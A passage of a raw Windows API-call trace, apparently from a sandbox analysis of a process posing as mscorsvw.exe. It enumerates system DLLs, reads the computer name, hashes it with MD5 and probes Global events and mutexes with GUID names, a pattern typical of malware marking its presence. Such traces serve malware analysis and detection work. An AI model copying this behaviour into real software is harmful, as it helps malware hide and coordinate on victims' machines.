ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0173.214] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0173.215] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0173.216] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0173.216] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0173.216] FindNextFileW (in: hFindFile=0x33fe30, lpFindFileData=0x19af6d4 | out: lpFindFileData=0x19af6d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x3459f8, dwReserved1=0x0, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0173.217] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x19af938 | out: BaseAddress=0x19af938*=0x75cf0000) returned 0x0 [0173.219] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.219] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.219] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e840) returned 1 [0173.219] FindClose (in: hFindFile=0x33fe30 | out: hFindFile=0x33fe30) returned 1 [0173.220] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e268) returned 1 [0173.220] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", pNumArgs=0x19af964 | out: pNumArgs=0x19af964) returned 0x3587d0*="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" [0173.220] LocalFree (hMem=0x3587d0) returned 0x0 [0173.220] Wow64DisableWow64FsRedirection (in: OldValue=0x19af960 | out: OldValue=0x19af960*=0x0) returned 1 [0173.220] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x800) returned 0xd68e88 [0173.220] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd68e88, nSize=0x200 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe")) returned 0x3a [0173.220] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e840 [0173.220] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.220] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e840) returned 1 [0173.220] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.220] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.220] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x100) returned 0xd69690 [0173.220] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0xd69690, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0173.220] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd69690) returned 1 [0173.220] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.220] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e8c8 [0173.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0173.220] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd67ee8 [0173.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0xd67ee8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0173.220] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd67f30 [0173.220] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd67ee8) returned 1 [0173.220] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e8c8) returned 1 [0173.221] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd67ee8 [0173.221] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd67f78 [0173.221] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd67fc0 [0173.221] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd68008 [0173.221] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd68050 [0173.221] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd68098 [0173.221] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x5000) returned 0xd62850 [0173.221] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd680e0 [0173.221] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd680e0) returned 1 [0173.221] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0173.289] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd62850) returned 1 [0173.289] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x338650, lpbSaclPresent=0x19af794, pSacl=0x19af7e8, lpbSaclDefaulted=0x19af794 | out: lpbSaclPresent=0x19af794, pSacl=0x19af7e8, lpbSaclDefaulted=0x19af794) returned 1 [0173.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd680e0 [0173.289] CreateEventA (lpEventAttributes=0x19af7dc, bManualReset=1, bInitialState=0, lpName="") returned 0x10c [0173.290] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd680e0) returned 1 [0173.290] GetLastError () returned 0x0 [0173.290] LocalFree (hMem=0x338650) returned 0x0 [0173.290] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd680e0 [0173.290] CryptAcquireContextW (in: phProv=0x19af7cc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x19af7cc*=0x3587d0) returned 1 [0173.290] CryptCreateHash (in: hProv=0x3587d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x19af7cc | out: phHash=0x19af7cc) returned 1 [0173.290] CryptHashData (hHash=0x33fe30, pbData=0xd67f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0173.291] CryptGetHashParam (in: hHash=0x33fe30, dwParam=0x4, pbData=0x19af7d0, pdwDataLen=0x19af7dc, dwFlags=0x0 | out: pbData=0x19af7d0, pdwDataLen=0x19af7dc) returned 1 [0173.291] CryptGetHashParam (in: hHash=0x33fe30, dwParam=0x2, pbData=0xd680e0, pdwDataLen=0x19af7d0, dwFlags=0x0 | out: pbData=0xd680e0, pdwDataLen=0x19af7d0) returned 1 [0173.291] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd68128 [0173.291] CryptDestroyHash (hHash=0x33fe30) returned 1 [0173.291] CryptReleaseContext (hProv=0x3587d0, dwFlags=0x0) returned 1 [0173.291] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd680e0) returned 1 [0173.291] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd680e0 [0173.291] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd68170 [0173.291] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd680e0) returned 1 [0173.291] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd680e0 [0173.291] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd680e0) returned 1 [0173.291] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd68170) returned 1 [0173.291] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd68128) returned 1 [0173.291] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd68128 [0173.291] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x124 [0173.291] GetLastError () returned 0x0 [0173.291] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd68170 [0173.291] CryptAcquireContextW (in: phProv=0x19af7cc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x19af7cc*=0x3587d0) returned 1 [0173.292] CryptCreateHash (in: hProv=0x3587d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x19af7cc | out: phHash=0x19af7cc) returned 1 [0173.292] CryptHashData (hHash=0x33fe30, pbData=0xd67f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0173.292] CryptGetHashParam (in: hHash=0x33fe30, dwParam=0x4, pbData=0x19af7d0, pdwDataLen=0x19af7dc, dwFlags=0x0 | out: pbData=0x19af7d0, pdwDataLen=0x19af7dc) returned 1 [0173.292] CryptGetHashParam (in: hHash=0x33fe30, dwParam=0x2, pbData=0xd68170, pdwDataLen=0x19af7d0, dwFlags=0x0 | out: pbData=0xd68170, pdwDataLen=0x19af7d0) returned 1 [0173.292] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd680e0 [0173.292] CryptDestroyHash (hHash=0x33fe30) returned 1 [0173.292] CryptReleaseContext (hProv=0x3587d0, dwFlags=0x0) returned 1 [0173.292] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd68170) returned 1 [0173.292] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd68170 [0173.292] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd681b8 [0173.292] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd68170) returned 1 [0173.292] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd68170 [0173.292] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd68170) returned 1 [0173.292] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd681b8) returned 1 [0173.292] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd680e0) returned 1 [0173.292] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd680e0 [0173.292] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd681b8 [0173.292] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0173.292] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd681b8) returned 1 [0173.292] GetLastError () returned 0x5 [0173.292] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd681b8 [0173.293] OpenMutexA 